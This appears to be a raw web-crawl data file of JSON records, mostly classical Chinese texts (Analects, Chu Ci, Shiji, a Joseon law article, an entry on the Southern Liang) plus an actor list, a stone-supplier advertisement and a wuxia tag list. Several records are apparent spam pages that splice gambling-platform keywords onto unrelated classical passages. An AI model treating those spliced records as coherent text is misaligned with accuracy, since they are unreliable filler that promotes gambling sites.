取消回覆你必須登入才能發佈留言。","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/hkfeature.com\/elementor-landing-page-28681\/","date":"2021-07-26T03:42:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046152000.25\/warc\/CC-MAIN-20210726031942-20210726061942-00295.warc.gz","language":"lzh","language_score":0.6416714191,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6416714191436768, \"cmn_Hani_score\": 0.25249987840652466, \"nan_Hani_score\": 0.07173993438482285, \"yue_Hani_score\": 0.02995343506336212}","num_words":38,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.666,"perplexity_score":500.0,"cluster_detection":1} +{"text":"royal88索非亚将实施首批社会经济领域一揽子救助计划\n孔子居陈三岁,会晋楚争彊,更伐陈,及吴侵陈,陈常被寇。孔子曰:\"归与归与!吾党之小子狂简,进取不忘其初。\"於是孔子去陈。\n子张问行,子曰:\"言忠信,行笃敬,虽蛮貊之邦行矣;言不忠信,行不笃敬,虽州里行乎哉?立则见其参于前也;在舆则见其倚于衡也,夫然后行。\"子张书诸绅。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n烛星,状如太白,其出也不行。见则灭。所烛者,城邑乱。\n胶东康王寄,以孝景中二年用皇子为胶东王。二十八年卒。淮南王谋反时,寄微闻其事,私作楼车镞矢战守备,候淮南之起。及吏治淮南之事,辞出之。寄於上最亲,意伤之,发病而死,不敢置後,於是上。寄有长子者名贤,母无宠;少子名庆,母爱幸,寄常欲立之,为不次,因有过,遂无言。上怜之,乃以贤为胶东王奉康王嗣,而封庆於故衡山地,为六安王。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/fl5bk.xtwlfbj.com\/kQmWB\/","date":"2020-04-05T03:41:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370528224.61\/warc\/CC-MAIN-20200405022138-20200405052138-00227.warc.gz","language":"lzh","language_score":0.4212714434,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4212714433670044, \"cmn_Hani_score\": 0.3799726068973541, \"nan_Hani_score\": 0.07743920385837555, \"wuu_Hani_score\": 0.019360918551683426, \"yue_Hani_score\": 0.014515805058181286, \"jpn_Jpan_score\": 0.012851934880018234, \"und_Tang_score\": 0.010892555117607117}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.184,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.501,"perplexity_score":500.0,"cluster_detection":1} +{"text":"中大同 ,梁武帝之年號也。始於五四六年四月,止於五四七年四月,凡二年。\n韋小寶 ,之主角,史無其人,為金庸所虛擬。小寶於順治十三年生,母韋春花,揚州妓也。一旦胎珠,生小寶,莫知其父,乃以母姓冠之。小寶生長於煙花之窟,不識文墨,然其性聰穎機敏,亦詭巧多詐,於博掩欺詐之屬,無不精善。好聽說書,仰慕俠士,故重情義。一日以因緣入宮,佯裝太監,遂與康熙帝結識,帝重之,以為心腹,歷授以御膳房總管、御前侍衛副總管、都統、撫遠大將軍、通吃伯、通吃侯、鹿鼎公諸位。亦代皇帝落髮欲少林寺,法號晦明。生財有道,初以賭博得資,後以抄鼇拜家致財,平素與重臣交往,頗以貪污飽囊。 其行事圓滑,經歷奇絕,嘗拜師於陳近南,及明室長平公主九難師太。亦受教於海大富、洪安通、澄觀等能人。然懶惰懈怠,武藝 ...\n孔挺 ,南陽人也。為劉曜史官丞。光初六年,造渾天銅儀。有雙環規,相并間相去三寸許,正 當子午,其子午之間,應南北極之衡,各合而為孔,以象南北極,植楗于前後以屬焉。有單橫規, 高下正當渾之半,皆周分為度數,署以維辰之位以象地。又有單規,斜帶南北之中,與春秋二分之 日道相應,亦周分為度數,而署以維辰,并相連著屬楗,植而不動。其裏又有雙規相并,如外雙 規,內徑八尺,周二丈四尺,而屬雙軸,軸兩頭出規外各二寸許,合兩為一。內有孔圓徑二寸許。 南頭入地下,注于外雙規南樞孔中,以象南極。北頭出地上,入于外雙規北樞孔中,以象北極。其 運動得東西轉以象天行。其雙軸之間,則置衡長八尺。通中有孔,圓徑一寸。當衡之半, ...\nⓘ 南梁\n梁 ,南朝也,祖為蘭陵蕭氏,本齊別枝。東昏無道,武帝衍乃自雍州起兵,入建康,立和帝,封梁王。二年受禪,即皇帝位。\n國初,厲行儉約,改定官制。雅好詩賦,一時文物大盛。普通以降,篤信浮屠,四度捨身,以巨錢贖回,國用為之一空。太清間,錯納侯景,引狼入室。暴亂江左,餓死台城。景依南朝故事,擅廢立然後稱帝。元帝繹起於荊州,復建康,居江陵。魏來伐,殺元帝,立昭明太子子孝宣帝詧。齊立貞陽侯淵明於建康,陳霸先廢之,改立敬帝方智,尋篡梁自立。齊又立元帝孫莊於郢州,周興,詧請周擊之,遂奔齊而終。\n梁在江陵,僅得數縣,事周隋甚恭,周隋亦以置總管護之。承建康餘緒,文物亦可觀。隋將伐陳,召後主琮入朝,廢為莒國公,梁亡。\n自武帝至元帝凡六代,五十六年。自孝宣帝至後主凡三代,三十四年。合八代八十六年。大業十三年,安平王巖之孫銑自立爲梁帝,至唐高祖武德四年而亡。\n太清以前,南強而北弱,太清以後,江左殘破,兼失淮左。建康不復振矣。\n1. 世系\n- 中宗孝宣皇帝詧\n- 高祖武皇帝衍\n- 穆宗敬皇帝方智\n- 孝靖皇帝琮\n- 梁帝銑\n- 世宗孝明皇帝巋\n- 世祖孝元皇帝繹\n- 太宗簡文皇帝綱\n- 梁 之名 蓋有殊義 分立文章 以明其實 南 梁 南朝之國 西 梁 南朝之國 附庸西魏\n- 梁 五代之一也 唐天祐四年 朱溫廢唐哀帝 自立為帝 建號 梁 都汴州開封府 史稱後 梁 以別於蕭衍所建之 南 梁 龍德三年 十月 梁 末帝被殺 後 梁 為後唐所滅 後 梁 自太祖丁卯歲建國至末帝癸未 凡二代三主十七年 後梁太祖朱溫 郢王朱友珪 太祖子 梁 末帝朱友貞 郢王弟\n- 梁 太宗簡文皇帝諱綱 字世纘 小字六通 高祖第三子 昭明太子母弟也 南 梁 皇帝 太清三年五月丙辰 高祖崩 辛巳 卽皇帝位 二年冬十月壬寅 帝旣醉寢 王偉 彭儁進土囊 王修纂坐其上 於是太宗崩於永福省 時年四十九 賊偽諡曰明皇帝 廟稱高宗 明年 三月己丑 王僧辯率前百官奉梓宮升朝堂 世祖追崇為簡文皇帝 廟曰太宗 四月乙丑 葬莊陵\n- 敬皇帝 諱方智 字慧相 小字法真 世祖第九子也 南 梁 末代皇帝 太清三年 封興 梁 侯 承聖元年 封晉安王 邑二千戶 二年 出爲平南將軍 江州刺史 四年二月癸丑 至自尋陽 入居朝堂 丙午 帝卽皇帝位 秋八月甲午 加丞相陳霸先黃鉞 領太傅 劍履上殿 入朝不趨 贊拜不名 給羽葆 鼓吹\n- 蕭棟 字元吉 昭明太子之孫 豫章王歡長子 南 梁 第三帝也 初嗣豫章王 侯景廢簡文帝 奉棟為主 棟與妃張氏鋤葵 而法駕奄至 棟驚不知所為 泣而升輦 即皇帝位 改元天正 未幾行禪讓 封淮陰王 鎖於密室 景敗 得出 為宣猛將軍溺殺於水中 姚思廉 梁 書\n- 梁 世祖元皇帝諱繹字世誠 小字七符 號金樓子 梁武帝第七子也 母修容阮氏 天监七年八月丁巳 繹生 初封湘東郡王 太清三年三月 武帝幽崩於石頭 王乃征兵於河東王譽 河東不從 王興兵討之 敗績 岳陽王詧舉兵 圍江陵 王固守 詧不能克 太清四年夏五月 河東王敗於王僧辯 僧辯斬之 王乃領其地 十一月 自稱相\n- 梁 王 置百官 十七年 朝於魏 謁泰 承聖三年 泰遣于謹伐元帝於江陵 詧引軍會之 江陵破 元帝焚書十四萬卷而降 泰立詧為 梁 主 遂改元大定 大定四年 帝陷元帝舊部王琳所據之長沙 武陵 南 平等郡 五年 陷監利郡 王琳稱臣 時南朝陳已定鼎建康 梁\n- 梁 山縣者 魯西南一縣也 今隸濟寧市 古名良山 諱而改梁山 即古梁山泊故地也 北鄰東平縣 西望河南省 東抵汶上縣 南 鄰鄆城縣 嘉祥縣 民口七十三萬六百五十二人 梁山縣政府 梁 山縣一文似未成 宜善之\n- 萬春南越帝 名賁 龍興太平人 祖籍漢地 七世祖 南 遷交趾 世家豪強 天資奇才 文采華麗 有鴻鵠之志 先仕於 梁 任德州監 交州刺史蕭諮失德 行暴政而失民心 南 帝連數鄉豪傑 發兵反之 鄉人具應 有朱鳶人趙肅 與廣陽門郎蔡樽稱賢者 時為 梁 大同七年 諮懼走廣州 南 帝乃入龍編 據於交州 梁 大同八年冬 梁\n- 梁 高祖武皇帝諱衍 出蘭陵蕭氏 字叔達 小字練兒 父順之 齊高帝族弟也 少好讀書 窮六經 好詩文 備六藝 嘗客竟陵王 與沈約 謝朓 王融 蕭琛 范雲 任昉 陸倕友 時稱 竟陵八友 時東昏無道 各地蜂起 兄懿為雍州刺史 鎮襄陽 平裴叔業亂 永元二年 討崔慧景 為東昏疑 鴆死 又命衍鎮雍州 忿受之\n- 自建王號 隨後踐祚 是為漢昭烈帝 昭烈崩 丞相亮略定南中 出師北伐 乃屯田於郡 漢北伐多由郡發 魏滅漢 漢中改屬 梁 州 晉 南 渡 失諸胡國 復之 僑置秦州 梁 以降南朝弱 周有之 隋廢郡 為 梁 州 東京初漢中有九縣 郡治南鄭 成固 西城 襃中 沔陽 有鐵 安陽 錫縣 有錫 春秋時曰錫穴 上庸 房陵 後漢書 志二十三郡國五","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/google-cn.info\/68840\/1\/%E5%8D%97%E6%A2%81.html","date":"2021-12-03T04:36:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362589.37\/warc\/CC-MAIN-20211203030522-20211203060522-00357.warc.gz","language":"lzh","language_score":0.5765388012,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5765388011932373, \"cmn_Hani_score\": 0.2931552231311798, \"nan_Hani_score\": 0.11700988560914993}","num_words":329,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.012,"flagged_words_ratio":0.0,"lang_id_score":0.706,"perplexity_score":500.0,"cluster_detection":1} +{"text":"第84條 立嫡子違法\n1.凡立嫡子違法者 杖八十 其嫡妻年五十以上無子者 得立庶長子 不立長子者 罪亦同.\n2.若養同宗之人爲子 所養父母無子而捨去者 杖一百 發付所養父母收管 若有親生子及本生父母無子 欲還者聽.\n3.其乞養異姓義子 以亂宗族者 杖六十 若以子與異姓人爲嗣者 罪同 其子歸宗.\n4.其遺棄小兒年三歲以下 雖異姓 仍聽收養 卽從其姓\n5.若立嗣 雖係同宗 而尊卑失序者 罪亦如之 其子亦歸宗 改立應繼之人.\n6.若庶民之家 存養奴婢者 杖一百 卽放從良\n〔直解〕\n凡立嫡子爲乎矣 違法者杖八十齊. ○其嫡妻亦 年五十已上弋只 無後爲去等 妾長子乙用良 爲嫡子爲乎矣 右如 使內不冬爲在乙良 罪同齊. ○同宗之人乙用良 收養作子長養爲乎亦中 收養父母亦 佗子息 無去乙 背恩捨去者乙良 杖一百遣 還付收養父母爲乎矣 收養父母亦 已有親生子爲旀 本生父母亦 佗子息 無去等 親子亦 欲還者乙良 聽許還付齊. ○他異姓人子乙 收養作子爲 敗亂宗族者乙良 杖六十齊. ○親子乙 異姓人亦中 收養以 給付爲在乙良 罪同遣 其子乙良 還父母齊. 其遺棄小兒乙良 三歲以下是去等 必于 異姓是良置 聽許收養 卽從其姓爲乎矣 遺棄小兒叱段 親生父母亦 難便棄置小兒是去有乙 時亦中 父母俱存 民財富足爲在 人等亦 貪利爲要 自矣 子息乙 他戶良中 强置 冒稱遺棄小兒爲臥乎所 毁亂風俗爲臥乎事是良厼 不在此限齊 必于 同宗人乙 作子傳繼令是良置 族長族下次序不當爲去等 罪同齊. 其子乙良 還父母遣 次序適當爲在乙用良 改立令是乎事.","id":"","dump":"CC-MAIN-2019-35","url":"http:\/\/db.history.go.kr\/law\/item\/level.do?levelId=jlawb_170_0040_0010_0040","date":"2019-08-23T05:19:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027317847.79\/warc\/CC-MAIN-20190823041746-20190823063746-00071.warc.gz","language":"lzh","language_score":0.6758797169,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.675879716873169, \"nan_Hani_score\": 0.16789786517620087, \"cmn_Hani_score\": 0.144503653049469}","num_words":102,"character_repetition_ratio":0.003,"word_repetition_ratio":0.0,"special_characters_ratio":0.196,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.676,"perplexity_score":500.0,"cluster_detection":1} +{"text":"电玩捕鱼游戏平台汇总突发四川木里再起火灾\n孔子语鲁大师:\"乐其可知也。始作翕如,纵之纯如,皦如,绎如也,以成。\"\"吾自卫反鲁,然後乐正,雅颂各得其所。\"\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n景帝中五年薨。子贲嗣,为太常,牺牲不如令,国除。\n三十四年,楚太子商臣弑其父成王代立。\n四月丙子,光伏甲士於窟室中,而具酒请王僚。王僚使兵陈自宫至光之家,门户阶陛左右,皆王僚之亲戚也。夹立侍,皆持长铍。酒既酣,公子光详为足疾,入窟室中,使专诸置匕首鱼炙之腹中而进之。既至王前,专诸擘鱼,因以匕首刺王僚,王僚立死。左右亦杀专诸,王人扰乱。公子光出其伏甲以攻王僚之徒,尽灭之,遂自立为王,是为阖闾。阖闾乃封专诸之子以为上卿。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/kcgdl.searchyaar.com\/bpfrw\/898153.html","date":"2020-03-31T00:46:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370499280.44\/warc\/CC-MAIN-20200331003537-20200331033537-00508.warc.gz","language":"lzh","language_score":0.508261025,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5082610249519348, \"cmn_Hani_score\": 0.32727956771850586, \"nan_Hani_score\": 0.0783502385020256, \"wuu_Hani_score\": 0.025024723261594772, \"yue_Hani_score\": 0.019139951094985008}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.432,"perplexity_score":500.0,"cluster_detection":1} +{"text":"九乐棋牌游戏平台贵人资本梁渊料港股先回后随A股走势可留意绩优股\n三十九年,秦来伐,拔我列城九。\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾乎若不系之舟。不以生故自宝兮,养空而浮;德人无累兮,知命不忧。细故\n李耳无为自化,清净自正;韩非揣事情,循埶理。作老子韩非列\n汉五年,汉王追项籍至固陵,使刘贾南渡淮围寿春。还至,使人间招楚大司马周殷。周殷反楚,佐刘贾举九江,迎武王黥布兵,皆会垓下,共击项籍。汉王因使刘贾将九江兵,与太尉卢绾西南击临江王共尉。共尉已死,以临江为南郡。\n建老白首,万石君尚无恙。建为郎中令,每五日洗沐归谒亲,入子舍,窃问侍者,取亲中稖厕窬,身自浣涤,复与侍者,不敢令万石君知,以为常。建为郎中令,事有可言,屏人恣言,极切;至廷见,如不能言者。是以上乃亲尊礼之。","id":"","dump":"CC-MAIN-2020-24","url":"http:\/\/lv1bs.ucp600.cn\/cdgcc\/","date":"2020-06-05T16:14:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590348502097.77\/warc\/CC-MAIN-20200605143036-20200605173036-00426.warc.gz","language":"lzh","language_score":0.4332605898,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.43326058983802795, \"cmn_Hani_score\": 0.3137735426425934, \"nan_Hani_score\": 0.03242620453238487, \"zxx_Latn_score\": 0.02649856172502041, \"wuu_Hani_score\": 0.021646205335855484, \"yue_Hani_score\": 0.021205395460128784, \"und_Tang_score\": 0.016804145649075508, \"und_Hluw_score\": 0.01354888267815113, \"und_Cyrl_score\": 0.011594406329095364, \"jpn_Jpan_score\": 0.011500202119350433}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.285,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n胡杏兒 傅穎 吳家麗 吳千語 沈卓盈 陸詩韻 何佩瑜 栢天男 曾樂彤 朱柏康 陳逸寧 張沛樂 黃錦燊 黃愷傑 劉浩龍 孫佳君 吳文忻 彭敬慈 蔡宛珊 黎澤恩 陳鬱憲 馬溱禧 張松枝 楊天宇 朱鑑然\n王紫逸 愛新覺羅·啓星 張逗逗 黃愷傑 姜志剛\n王偉良 張智揚 林俊良 黃愷傑 陳偉恩\n王奕瑾 黃愷傑 卞慶華 錢柏渝 蔡尚甫\n林保怡 袁百梓卉 高捷 黃愷傑 鈕蔚淇\n蘇有朋 趙薇 林心如 古巨基 高鑫 寇振海 王琳 徐幸 趙雅芝 黃愷傑 李佳琦 李玉剛 岳雲鵬 李宇春 胡歌 朱一龍 靳東 張傑 徐崢 馮紹峯 阿雲嘎 迪瑪希·庫達依別列根 韓雪 宋小寶 陳蓉 蔡國慶 俞灝明 範湉湉 徐嬌 蔣夢婕 周奇 柳巖 周深\n錦榮 溫心 王姬 伍宇娟 黃愷傑\n邱澤 張鈞甯 王真兒 陳哲遠 程瀟 張藝上 張頌文 張世 鄧恩熙 陳雨鍶 馬伯騫 李明軒 崔雨鑫 高葉 黃愷傑 戴墨 馬浴柯 張國柱 張睿家 黃健瑋 施名帥 高英軒 丁春誠 黃晏豪 王可元 葉熙祺 索朗美淇 謝聞軒 汪洋 張經偉\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/778mov.com\/search\/-%E9%BB%83%E6%84%B7%E5%82%91------------.html","date":"2020-10-28T05:20:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107896778.71\/warc\/CC-MAIN-20201028044037-20201028074037-00647.warc.gz","language":"lzh","language_score":0.5798311234,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5798311233520508, \"cmn_Hani_score\": 0.28138211369514465, \"nan_Hani_score\": 0.11899171024560928, \"yue_Hani_score\": 0.019045313820242882}","num_words":116,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.656,"perplexity_score":500.0,"cluster_detection":1} +{"text":"鄭注喪服曰。㛮者尊嚴之。㛮猶叟也。叟、老人之偁也。按古者重男女之別。故於兄之妻尊嚴之。於弟之妻卑遠之。而皆不爲服。男子不爲兄弟之妻服。猶女子不爲夫之兄弟服也。女子於夫之姊妹則相服小功者、相與居室之親也。\n形聲中有會意。穌老切。古音在三部。","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/www.shuowen.org\/view\/8111?pinyin=sao","date":"2023-05-29T17:53:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224644907.31\/warc\/CC-MAIN-20230529173312-20230529203312-00760.warc.gz","language":"lzh","language_score":0.628467679,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.6284676790237427, \"cmn_Hani_score\": 0.3127707242965698, \"yue_Hani_score\": 0.02020365186035633, \"jpn_Jpan_score\": 0.018719729036092758, \"wuu_Hani_score\": 0.015194554813206196}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.628,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Product\n地址:\n手機:\n內丘縣泓峰石材加工廠成立于2013年,是一家集礦山開采、石板加工、銷售文化石、蘑菇石、碎拼石、片石、毛石、條石、壘墻石、護坡石、山峰石、亂型石、亂形石石、踏步石、汀步石、鵝卵石、河卵石、砌墻石、鋪地石、流水石為一體的天然板巖外墻磚、各種異形石材供應廠家。主要品種有天然文化石、人造文化石、外墻文化石、外墻蘑菇石、灰色文化石、紅色蘑菇石、冰裂紋、黃木紋,青石板、虎皮石 、虎皮黃等\n產品均為天然石材制成,顏色鮮亮有光澤,色差小,抗壓力較強.\n1.網上價格均為市場價格,詳細價格,運費電議。\n2.天然石材產品均有色差,外形厚度均有不同,均屬自然,規格誤差均在使用范圍內。\n全國各省城市銷售天津 河北 山西 遼寧 吉林 江蘇 浙江 安徽 福建 江西 河南 湖北 湖南 廣東 廣西 海南 重慶 四川 貴州 云南 西藏 陜西 甘肅 青海 寧夏 新疆 臺灣 上海 北京 深圳 廣州 天津 蘇州 鄭州 東莞 杭州 濟南 西安 重慶 佛山 武漢 寧波 無錫 溫州 南京 成都 青島 沈陽 長沙 濰坊 大連 合肥 廈門 臺州 邢臺 煙臺 滄州 常州 太原 徐州 福州 淄博 德州 南通 泰州 中山 嘉興 泉州 濟寧 金華 惠州 南昌 紹興 新鄉 衡水 洛陽 廊坊 聊城 昆明 南寧 長春 鹽城 揚州 臨沂 保定 寶雞 唐山 江門 泰安 鎮江 蘭州 東營 云浮 南陽 珠海 貴陽 鄂州 焦作 萊蕪 韶關 鞍山 威海 柳州 棗莊 安陽 湖州 咸陽 襄樊 淮安 濱州 汕頭 株洲 蕪湖 宜昌 贛州 綿陽 邯鄲 菏澤 隨州 吉林 湘潭 衡陽 大慶 十堰 桂林 運城 日照 晉中 湛江 漳州 莆田 滁州 ???麗水 肇慶 包頭 錦州 丹東 銀川 九江 常德 河源 信陽 黃石 宜春 營口 永州 寧德 荊州 龍巖 撫順 黃岡 渭南 安慶 玉林 衢州 鶴壁 臨汾 岳陽 大同 阜陽 蚌埠 吉安 三明 宿遷 呂梁 河池 梧州 德陽 漢中 濮陽 岳陽 清遠 晉城 衢州 朔州 渭南 遼陽 丹東 撫州 運城 四平 婁底 周口 承德 淮安 益陽 永州 南平 莆田 欽州 文昌 淮南 百色 貴港 赤峰 萊蕪 長治 萍鄉 北海 陽江 遵義 宣城 淮北 蚌埠 阜陽 宿州 銅陵 張掖 拉薩 上饒 郴州 榆林 保山 南充 陽泉 白城 白山 鶴崗 商丘 紅河 麗江 臨滄 畢節 都勻 鄂爾多斯 克拉瑪依 呼和浩特 六盤水 烏魯木齊 駐馬店 張家口 牡丹江 馬鞍山 內蒙古 黑龍江\n以上是文化石|天然文化石|流水文化石|天然蘑菇石|石材外墻磚|石材馬賽克(圖)的詳細介紹,如果你想更詳細地了解文化石|天然文化石|板巖文化石|天然蘑菇石|石材外墻磚的價格、廠家、型號及規格,請直接聯系供應商內丘泓峰石材加工廠\n版權所有:內丘縣泓峰石材加工廠 手機:13833952759\n地址:河北省邢臺市內丘縣石材工業區 ICP備案編號:冀ICP備18033888號-1","id":"","dump":"CC-MAIN-2024-18","url":"http:\/\/www.leveragetech.net\/index.php\/cn\/About\/index.html","date":"2024-04-21T23:23:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296818067.32\/warc\/CC-MAIN-20240421225303-20240422015303-00297.warc.gz","language":"lzh","language_score":0.5262418389,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5262418389320374, \"cmn_Hani_score\": 0.26556044816970825, \"nan_Hani_score\": 0.19644978642463684}","num_words":248,"character_repetition_ratio":0.013,"word_repetition_ratio":0.0,"special_characters_ratio":0.287,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.542,"perplexity_score":500.0,"cluster_detection":1} +{"text":"所有標籤\n以下為所有討論主題標籤,你可以選擇喜歡的來看看大家在討論什麼?\n曹休 馬超 郭靖 逆水寒 德川家康 姑蘇慕容 龍木島主 定靜師太 曹洪 壽春馳援 暴雨梨花釘 方怡 萬物波動心法 紅花會 武當七俠 掩月劍法 十住大乘功 三十六招鳥啄擊法 九玄大法 羅憲 黃藥師 四大惡人 風萍掌 儀琳 丁不四 種玉大法 鍾會之亂 楊儀 月異星邪 龍吟曲 鴛鴦刀 淑女劍 段正淳 曹操討伐袁術之戰 鰲拜 衡山派 玉女媚術 鐵騎快劍 蝴蝶穿花七十二式 幽灵山庄 銀龍手 天鷹教 呂后 閔柔 石亭之戰 益州之戰 興勢之戰 名劍風流 定世鞭 大元丹法 扭轉乾坤殺手劍 無相神功 石中玉 祝融 沉沙劍法 笑傲江湖 張大春 絕不低頭 古墓派 雙兒 冷月寶刀 吳六奇 交阯之亂 擒拿截脈法 尋秦記 董卓討伐戰 袖裡乾坤 散手八撲 霍青桐 凌統 胡昭 鬼王鞭 福康安 公孫止 呂壹專權 幻魔身法 太虛勁 令狐沖 夏姬 馮錫范 楊康 樊城之戰 先天氣功 仙門劍訣 裘千尺 九韶定音劍 壽春三叛 軟蝟甲 嫁衣神功 飛鶯飛鷹 劉表 常伯志 呂布爭徐州 神鵰俠侶 全真教 天魔擊三大散招 蕭十一郎 天外飛仙 魯肅 費禕 銀雕 鐵蒺藜骨朵 曹純 蔡文姬 鬼火十三拍 逍遙訣 斷絕神功 朱然 飛伏一百零八槍 康熙 蔣琬 金丹大法 周芷若 流星鎚 空明拳 法正 青龍會 武林外史 玩命拳 嵩山十三太保 蕭遠山 西蜀地形圖 金庸 楚留香傳奇 屯田制 赤壁之戰 玄鐵重劍 大人物 東洋神風刀法 風清揚 雲行雨飄 桃實仙 飛狐外傳 小喬 無想奼女大法 明玉功 陳宮 英雄無淚 典韋 三尸腦神丹 逍遙派 飛燕七式 移花接玉 一串鞭 五毒教 鍾靈 天地明環 花間十二支 九字真言手印 郭芙 司馬懿 第六天魔王 魏滅蜀之戰 孫權 青龍偃月刀 任盈盈 霓裳仙舞 太史慈 康敏 兵器譜 夢姑 五虎斷門刀 雪山飛狐 紫氣天羅 一扇十八搖 董允 七殺拳 雙尖軟矛 裘千仞 黃皓專權 六脈神劍 太極七截棍 打狗棒法 孫策平江東之戰 紫血大法 天龍八部 天外流星 阿青 旋風十八矛 朱子柳 玄鐵劍法 燎原百擊 荊州 魅影劍法 無塵道長 摩尼教 連體心法 遊俠錄 星彩 折花百式 梅超風 羅漢伏虎拳 石清 孫皓 嫁衣神功 鮑三娘 月英 關索 張翼 小鷹爪功 裂馬槍 豔陽刃法 不碎金剛 蛤蟆功 血鸚鵡 水雲袖法 碎金剛乘 丁典 練師 陸無雙 金蛇郎君 十二都天神功 白世鏡 銅錘 諸葛亮 史火龍 碧海潮生曲 鬼魅潛蹤 君子劍 鹿鼎記 藍鳳凰 司馬昭弒君 白自在 逍遙拆 瑛姑 嵩山派 全真七子 呂布 小龍女 王平 曹丕 岳靈珊 文泰來 穆念慈 殷離 廖化 射鵰三部曲 殘金缺玉 驚魂六記 失魂引 姜維北伐 二宮之爭 天一掌 莫大先生 倚天屠龍記 黃祖 天心蓮環 永安之戰 霍去病 章進 歐陽克 烏金血劍 飛鷹十三刺 蒼穹十三劍 孫曉 王元姬 心佛掌 鷹變十三式 